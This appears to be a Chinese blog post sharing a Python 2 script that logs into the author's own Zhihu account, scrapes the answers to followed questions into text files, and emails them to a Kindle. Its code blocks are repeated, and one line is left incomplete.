content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status
if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code
if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False
def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)
url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)
data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)
for j in id_sub:
print j
id_list.append(j)
except:
print "Getting Error "
return id_list
def main():
if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)
#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
main()
完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
查看全部
平时逛知乎，上班的时候看到一些好的答案，不过由于答案太长，没来得及看完，所以自己写了个python脚本，把自己想要的答案抓取下来，并且推送到kindle上，下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来，等周末闲时看。
#2016-08-19更新：
添加了模拟登陆知乎的模块，自动获取自己的关注的问题id，然后把这些问题的所有答案抓取下来推送到kindle
#######################################
2016.8.19 更新
添加了新功能，模拟知乎登陆，自动获取自己关注的答案，制作成电子书并且发送到kindle
完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
#2016-08-19更新：
添加了模拟登陆知乎的模块，自动获取自己的关注的问题id，然后把这些问题的所有答案抓取下来推送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os
from bs4 import BeautifulSoup
from email.Header import Header
reload(sys)
sys.setdefaultencoding('utf-8')
class GetContent():
def __init__(self, id):
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
id_link = "/question/" + id
self.getAnswer(id_link)
def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()
def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)
try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便
try:
bs = BeautifulSoup(resp)
except:
print "Beautifulsoup error"
return None
title = bs.title
# 获取的标题
filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉
self.save2file(filename, title.string)
detail = bs.find("div", class_="zm-editable-content")
self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容
if detail is not None:
for i in detail.strings:
self.save2file(filename, unicode(i))
answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:
self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)
for a in each_answer.strings:
# 循环获取每一个答案的内容，然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1
smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'
# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)
# 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦
print filename
class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail
# 初始化邮箱设置
def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)
self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()
if __name__ == "__main__":
sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)
# 调用获取函数
print "Done"
#######################################
2016.8.19 更新
添加了新功能，模拟知乎登陆，自动获取自己关注的答案，制作成电子书并且发送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}
#全局变量
session=requests.session()
session.cookies=cookielib.LWPCookieJar(filename="cookies")
try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"
def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False
def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result
def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'
image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()
def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status
if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code
if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False
def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)
url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)
data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)
for j in id_sub:
print j
id_list.append(j)
except:
print "Getting Error "
return id_list
def main():
if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)
#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
main()
完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
